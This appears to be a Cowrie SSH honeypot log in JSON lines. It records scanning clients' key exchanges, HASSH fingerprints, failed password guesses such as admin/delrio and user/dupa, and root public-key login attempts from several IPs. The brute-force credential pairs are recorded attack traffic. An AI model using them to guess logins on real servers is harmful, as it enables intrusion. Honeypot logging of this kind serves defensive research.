{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:54.045787Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delrio","message":"login attempt [admin/delrio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:54.518866Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delicious","message":"login attempt [admin/delicious] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:55.622509Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dekker","message":"login attempt [admin/dekker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:56.733740Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"deadwood","message":"login attempt [admin/deadwood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:57.837605Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"de7MDF","message":"login attempt [admin/de7MDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:51:58.940442Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:00.044215Z","src_ip":"2.57.121.112","session":"97b11fc22b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:16.614644Z","src_ip":"8.218.166.49","session":"2b90101a135e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:18.272715Z","src_ip":"8.218.166.49","session":"e1cceaf9bd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:24.984690Z","src_ip":"8.218.166.49","session":"3b4d00477029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"82.8","message":"Connection lost after 82.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:32.516512Z","src_ip":"8.218.166.49","session":"e1cceaf9bd10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58750,"dst_ip":"10.17.0.5","dst_port":22,"session":"25c3b62b909a","protocol":"ssh","message":"New connection: 8.218.166.49:58750 (10.17.0.5:22) [session: 25c3b62b909a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:57.768603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:58.099827Z","src_ip":"8.218.166.49","session":"25c3b62b909a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:52:58.105423Z","src_ip":"8.218.166.49","session":"25c3b62b909a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:05.399254Z","src_ip":"8.218.166.49","session":"25c3b62b909a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:07.227568Z","src_ip":"8.218.166.49","session":"25c3b62b909a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":46474,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db303c0bb28","protocol":"ssh","message":"New connection: 149.56.241.206:46474 (10.17.0.5:22) [session: 3db303c0bb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.467895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.472923Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.494487Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:4e:12:58:a6:da:86:20:65:d0:95:e9:3c:58:0f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVg8UBrgrXI3wpMxU1yXb8GgYACo2ngC/8PcqzC1jJrIffwDAKYPkOtQWmvJeYQuCJ08fSNxjHGQB8rVLHjZ3pDSrlT8AowcrNGSq6877R3l3sWSR5dalaYyrwvDO29q+EZkxpzhOeNEtY1wQD/hj21vjFuHneqs7T4QJKa85aLQTXLzkcitxtPKSOINPz3FBC/v5O2mZP4rUeN4W1kcRKb8LfC63B9gd7oCXC7A1vGbCHiadFq3rqxlt8kccooP/ZblpYW8wEteo7pyoqSbj/0+YCWN7lk15sF1kLFhOvbfzJg0uv195WKpYu9GtuTu0Ek0eTgTM83T15FmG3Xav1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:4e:12:58:a6:da:86:20:65:d0:95:e9:3c:58:0f:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.576725Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:4e:12:58:a6:da:86:20:65:d0:95:e9:3c:58:0f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVg8UBrgrXI3wpMxU1yXb8GgYACo2ngC/8PcqzC1jJrIffwDAKYPkOtQWmvJeYQuCJ08fSNxjHGQB8rVLHjZ3pDSrlT8AowcrNGSq6877R3l3sWSR5dalaYyrwvDO29q+EZkxpzhOeNEtY1wQD/hj21vjFuHneqs7T4QJKa85aLQTXLzkcitxtPKSOINPz3FBC/v5O2mZP4rUeN4W1kcRKb8LfC63B9gd7oCXC7A1vGbCHiadFq3rqxlt8kccooP/ZblpYW8wEteo7pyoqSbj/0+YCWN7lk15sF1kLFhOvbfzJg0uv195WKpYu9GtuTu0Ek0eTgTM83T15FmG3Xav1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.581316Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:7c:27:ee:f9:61:26:ae:7d:0f:fd:01:a5:dc:d6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDR8euXRxZN2YyWREnAaUFflrYCOT04HIq1PNHdcMXzmOqzDDzxPHurk3LMIXnYQ+3IxM72xKbwCZPy/ztKttMUNEWKKtHa2IxTDXEO0AXf643GTpAUVmGelN+xE6zcANMly9/tEWhoz9tLu8p2vB3Metc1Nz6E+Nb2OBAP3DRLMJN6tJT5HIBi9kfBDdAQBt0zFirkBP5c1xnmzRy+UBZqwY4wVYETGB3ZvQmMNQNJT13sY6inGVLK9nONZZM2Y6vU0cEa7zSDY1vT0EG8UuHF5bBRfEp2u/GFzR+CFCFvL/I02kg1ejTDTgpF626RZ/JzDQBGHTzy0UKUhZrMnRed8/dM4VwJ1ZbvbLoLSFFujJCjsa7xqZhYIpI/aCd6lGBCw0T/PipBBBffLmC4jDsHC6RVaHS6wjJgJNqWmh2RtHqd77kmA2QmXY0Dc7dAHmFDIamTWKcmEYGGkhqiyHaSp9NeHWGVldogVgIK08hbVN4DDOWwzQN5NLNbwHLOzCe6Copn3ZzROqRxwPxZr/9A6mtzoRbtP+f9/RS/JAGNnAzBSCUzOfEJaasrwKCHgJ2BXY3guqVFf87qwTBhmBZwXsg54mZqrs9RFZqcmvuNZDn7lyqyDmiasmRzCBoxxUcvOwxUMr7MpNVTvHT5mZWelN14UrwwI45RGv6DX/t+Dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:7c:27:ee:f9:61:26:ae:7d:0f:fd:01:a5:dc:d6:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.605948Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:7c:27:ee:f9:61:26:ae:7d:0f:fd:01:a5:dc:d6:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDR8euXRxZN2YyWREnAaUFflrYCOT04HIq1PNHdcMXzmOqzDDzxPHurk3LMIXnYQ+3IxM72xKbwCZPy/ztKttMUNEWKKtHa2IxTDXEO0AXf643GTpAUVmGelN+xE6zcANMly9/tEWhoz9tLu8p2vB3Metc1Nz6E+Nb2OBAP3DRLMJN6tJT5HIBi9kfBDdAQBt0zFirkBP5c1xnmzRy+UBZqwY4wVYETGB3ZvQmMNQNJT13sY6inGVLK9nONZZM2Y6vU0cEa7zSDY1vT0EG8UuHF5bBRfEp2u/GFzR+CFCFvL/I02kg1ejTDTgpF626RZ/JzDQBGHTzy0UKUhZrMnRed8/dM4VwJ1ZbvbLoLSFFujJCjsa7xqZhYIpI/aCd6lGBCw0T/PipBBBffLmC4jDsHC6RVaHS6wjJgJNqWmh2RtHqd77kmA2QmXY0Dc7dAHmFDIamTWKcmEYGGkhqiyHaSp9NeHWGVldogVgIK08hbVN4DDOWwzQN5NLNbwHLOzCe6Copn3ZzROqRxwPxZr/9A6mtzoRbtP+f9/RS/JAGNnAzBSCUzOfEJaasrwKCHgJ2BXY3guqVFf87qwTBhmBZwXsg54mZqrs9RFZqcmvuNZDn7lyqyDmiasmRzCBoxxUcvOwxUMr7MpNVTvHT5mZWelN14UrwwI45RGv6DX/t+Dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.612117Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:a7:ec:48:b7:39:95:70:b8:02:0f:a4:d6:07:cd:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuTLVge3+2uXSS3n4VpAdiOmY6coFCuWqye1yWicS6WBtCFLCtf4uhvMaDLk7epJ3wK7Csn0ttr0UDVsaqFSzP4WWE8FypGdWaBVcSoaCAXY1q8E7FpUiyFPqEAoSGs+P+1Avv4QTCMr8UhGwVHCBki/v4KQWLEra9pkrMccjCYFDe4wq+G+7YlUaBCiCPeD3YG5nggPu2ABDoWcz1LoDG/fStQn7zTJvSwa7aMf1Xb1icTPOWE3BtaQDuFk4Qu4H1EGgJq0Xy3ObxNaQIiN04MOn554OEFbhqQefFgmxEsPDBDnnvpajArrqC7C3Aw8D2sGP9PQoKY6svgIH9+qCxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:a7:ec:48:b7:39:95:70:b8:02:0f:a4:d6:07:cd:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.635691Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:a7:ec:48:b7:39:95:70:b8:02:0f:a4:d6:07:cd:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuTLVge3+2uXSS3n4VpAdiOmY6coFCuWqye1yWicS6WBtCFLCtf4uhvMaDLk7epJ3wK7Csn0ttr0UDVsaqFSzP4WWE8FypGdWaBVcSoaCAXY1q8E7FpUiyFPqEAoSGs+P+1Avv4QTCMr8UhGwVHCBki/v4KQWLEra9pkrMccjCYFDe4wq+G+7YlUaBCiCPeD3YG5nggPu2ABDoWcz1LoDG/fStQn7zTJvSwa7aMf1Xb1icTPOWE3BtaQDuFk4Qu4H1EGgJq0Xy3ObxNaQIiN04MOn554OEFbhqQefFgmxEsPDBDnnvpajArrqC7C3Aw8D2sGP9PQoKY6svgIH9+qCxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.639952Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:15:ad:df:b9:9c:44:6e:b3:d7:4b:a6:31:bf:d8:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5A1LKh1/SFCmNV/Y5aONkTbm6RPnP6wQ8z5tbawtfdW/FfJnrT3Q9d1T4FR2DM8v1qnQ/xjswRZFD0ZQ+qsKhXTggqcpvJ52qvaJw/GLYTCDHLBkeZsOyUyKspD7xzTUmpUJP5P4tR8zy4Dj8pIGOWTycOCnpJU0fdgp/Ntj1kh/He6J+j275rkBXweVmTQ6Af8ciyw/g72wtdr74X5IQvJv6h+FzS5Dt1vRUOPnzemaW4O7YDxV6CnjSX9B26MIOnDm89HRMBdHwMQDifdZlL2OZMxKdPo2pyYjEnOVFhsjmkC1qh89MQYTtfWmAOkQP2Fdsr+SBmW6hBxD6cC+Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:15:ad:df:b9:9c:44:6e:b3:d7:4b:a6:31:bf:d8:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.662251Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:15:ad:df:b9:9c:44:6e:b3:d7:4b:a6:31:bf:d8:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5A1LKh1/SFCmNV/Y5aONkTbm6RPnP6wQ8z5tbawtfdW/FfJnrT3Q9d1T4FR2DM8v1qnQ/xjswRZFD0ZQ+qsKhXTggqcpvJ52qvaJw/GLYTCDHLBkeZsOyUyKspD7xzTUmpUJP5P4tR8zy4Dj8pIGOWTycOCnpJU0fdgp/Ntj1kh/He6J+j275rkBXweVmTQ6Af8ciyw/g72wtdr74X5IQvJv6h+FzS5Dt1vRUOPnzemaW4O7YDxV6CnjSX9B26MIOnDm89HRMBdHwMQDifdZlL2OZMxKdPo2pyYjEnOVFhsjmkC1qh89MQYTtfWmAOkQP2Fdsr+SBmW6hBxD6cC+Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.666244Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:b6:60:6a:eb:98:02:60:22:aa:2d:c0:c8:ef:cd:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+3Ha+tY9IiWTC/HSKi9gmvERf3PJN/hctESJ0auds6XTaF7NoLYDQ4EHVWD6nlow5gSiOQc/OlECTbL0+kLsRjwdcvpG9RPYEsbIDBIvzcFmMB+bgw4VRUg4Yas0uMisKmbO1kTENOG+iad/1Kbkd+Te8qdLTzpWDWl/Rj+/bMhw6fI0oeirfjJwvCXuC9B/pHVv0NDQsxQ1qD0oxCgz3c1cExWCtyiYCIq0hf1GgvqOIsn2SUAELSqX5mUOYqsH35Tf3Q2Gf2eJU6vPwxrot/TXuN/+Oo+TASZXti4Vdl26UPjju/CA+TnFdvqJUJjC4efhQT4tjAygthdfWdxzZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:b6:60:6a:eb:98:02:60:22:aa:2d:c0:c8:ef:cd:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.690670Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:b6:60:6a:eb:98:02:60:22:aa:2d:c0:c8:ef:cd:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+3Ha+tY9IiWTC/HSKi9gmvERf3PJN/hctESJ0auds6XTaF7NoLYDQ4EHVWD6nlow5gSiOQc/OlECTbL0+kLsRjwdcvpG9RPYEsbIDBIvzcFmMB+bgw4VRUg4Yas0uMisKmbO1kTENOG+iad/1Kbkd+Te8qdLTzpWDWl/Rj+/bMhw6fI0oeirfjJwvCXuC9B/pHVv0NDQsxQ1qD0oxCgz3c1cExWCtyiYCIq0hf1GgvqOIsn2SUAELSqX5mUOYqsH35Tf3Q2Gf2eJU6vPwxrot/TXuN/+Oo+TASZXti4Vdl26UPjju/CA+TnFdvqJUJjC4efhQT4tjAygthdfWdxzZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.700306Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:14.724909Z","src_ip":"149.56.241.206","session":"3db303c0bb28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29319,"dst_ip":"159.203.135.109","dst_port":22,"session":"0807635f4b81","protocol":"ssh","message":"New connection: 2.57.121.25:29319 (159.203.135.109:22) [session: 0807635f4b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:36.433904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:36.438921Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:36.540066Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"eddy","message":"login attempt [user/eddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:37.160688Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dustydog","message":"login attempt [user/dustydog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:38.265456Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dupa","message":"login attempt [user/dupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:39.370280Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ducksoup","message":"login attempt [user/ducksoup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:53:40.474749Z","src_ip":"2.57.121.25","session":"0807635f4b81","protocol":"ssh"}
